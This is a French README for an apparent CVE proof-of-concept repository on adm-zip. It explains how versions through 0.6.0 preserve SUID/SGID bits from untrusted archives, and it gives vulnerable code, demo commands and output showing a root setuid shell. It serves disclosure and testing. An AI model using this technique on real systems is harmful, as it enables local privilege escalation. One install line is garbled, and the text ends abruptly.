CVE-2026-102282 : LPE dans adm-zip via la préservation des bits SUID/SGID lors de l'extraction d'archives (corrigé dans la version 0.6.1)
Attribution incorrecte des permissions dans le paquet npm adm-zip. L'extraction peut conserver les bits setuid, setgid et sticky d'un zip non fiable lorsque keepOriginalPermission est activé, permettant de déposer sur le disque un exécutable setuid appartenant à root à partir d'une archive fournie par un attaquant : élévation de privilèges locale.
| Paquet | adm-zip (npm) |
| Écosystème | Node.js |
| CVE | CVE-2026-102282 |
| Avis | GHSA-j5f4-cc29-5x44 |
| CWE | CWE-732 Attribution incorrecte de permissions pour une ressource critique |
| CVSS v3.1 | 7.1 Élevé — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Affecté | < 0.6.1 (dernière version affectée connue : <= 0.6.0) |
| Corrigé | 0.6.1 (11 septembre 2026) |
| Publié | Avis du mainteneur le 11 septembre 2026 ; GitHub Advisory Database le 29 septembre 2026 |
Ce dépôt contient l'analyse, un vérificateur de version de dépendance, un test comportemental sûr, et une preuve de concept autonome construite autour d'un binaire de vérification bénin qui se contente d'afficher son contexte d'identifiants.
Toutes les versions antérieures à 0.6.1 sont affectées, y compris 0.6.0.
| Plage | Statut |
|---|---|
>= 0 et < 0.6.1 | Affectée |
<= 0.6.0 | Dernière version affectée connue |
>= 0.6.1 | Corrigée |
La faille n'est atteignable que lorsque toutes ces conditions sont réunies :
keepOriginalPermission=true à extractAllTo(), extractAllToAsync() ou extractEntryTo().L'extraction par défaut laisse le drapeau désactivé et n'est pas affectée. Une extraction en tant qu'utilisateur non privilégié peut toujours appliquer les bits de mode, mais le fichier résultant appartient à ce même utilisateur, donc aucune frontière de privilèges n'est franchie.
Les bits de mode Unix résident dans les 16 bits de poids fort des attributs de fichier externes d'une entrée zip. adm-zip copie ces bits sur le chemin extrait.
| Emplacement | Rôle |
|---|---|
headers/entryHeader.js — fileAttr | Lit le mode Unix depuis les attributs externes |
adm-zip.js — extractAllTo, extractAllToAsync, extractEntryTo | Utilise fileAttr lorsque keepOriginalPermission est vrai |
util/utils.js — chmodSync dans l'helper d'écriture de fichier | Applique ce mode au chemin qui vient d'être créé |
adm-zip.js extraction de répertoire | Applique le même mode aux répertoires extraits |
Dans 0.6.0 et antérieurs, fileAttr masque l'attribut décalé avec 0xfff
(0o7777). Ce masque conserve les trois bits spéciaux ainsi que les bits rwx
habituels, et rien dans le chemin d'écriture n'efface 0o7000 avant le chmod :
// headers/entryHeader.js (<= 0.6.0)
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
0o4000)0o2000)0o1000)L'extraction transmet directement au système de fichiers le mode contrôlé par l'archive :
// adm-zip.js
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeFileTo(entryName, content, overwrite, fileAttr);
// util/utils.js
self.fs.chmodSync(path, attr || 0o666);
Notez la signature d'appel en 0.6.x : extractAllTo(targetPath, overwrite, keepOriginalPermission) prend un booléen littéral comme troisième argument.
Passer un objet d'options tel que { keepOriginalPermission: true } est
silencieusement converti en false, ce qui masque la vulnérabilité dans un test
au lieu de la démontrer. Les deux scripts PoC de ce dépôt passent true
directement.
Le correctif est le commit 6a63c339 (v0.6.1). fileAttr ne conserve désormais que les neuf bits rwx :
get fileAttr() {
return (_attr || 0) >> 16 & 0o777;
}
keepOriginalPermission=true, l'extraction lit ce mode via fileAttr et le transmet à chmod.0o7777, setuid, setgid et sticky survivent.chmod s'exécute en tant que root, le nouveau fichier appartient à root et peut porter setuid. Une exécution ultérieure par un utilisateur moins privilégié exécute le code du propriétaire du fichier en tant que root.Lorsque le drapeau est laissé à sa valeur par défaut, l'extraction n'applique pas le mode de l'archive, et les bits spéciaux ne sont pas écrits.
Tout se trouve sous poc/. La charge utile fournie est
verify.c, un programme bénin qui affiche ses uid/gid réels et
effectifs et, dans son mode par défaut, ouvre un shell avec l'identité
effective. Il ne persiste pas, ne se cache pas et ne fait rien au-delà de la
démonstration du contexte d'identifiants.
| Fichier | Objectif |
|---|---|
poc/verify.c | Charge utile bénigne de vérification setuid |
poc/build-archive.js | Empaquette un fichier dans un zip dont l'entrée porte le mode 0o4755 |
poc/extract.js | Extrait une archive avec keepOriginalPermission=true, comme le ferait une application affectée |
poc/run-demo.sh | Exécution de bout en bout : build, extraction en tant que root, exécution en tant qu'utilisateur appelant |
git clone <this repo> && cd CVE-2026-102282
npm install [email protected] # the version under test
sudo apt install gcc # if needed
./poc/run-demo.sh # uses /var/tmp/cve-2026-102282-demo
./poc/run-demo.sh /path/to/out # or a custom output directory
Sortie attendue avec 0.6.0 :
== 3. extract as root with keepOriginalPermission ==
adm-zip version: 0.6.0
extracted /var/tmp/cve-2026-102282-demo/exploit.zip into /var/tmp/cve-2026-102282-demo/extracted
== 4. result on disk ==
4755 -rwsr-xr-x root:root
== 5. run as the unprivileged user (user) ==
uid=1000(user) ...
[*] real uid=1000 gid=1000
[*] eff. uid=0 gid=0
[+] SUID active: effective uid 0 differs from real uid 1000
Sortie attendue avec 0.6.1 :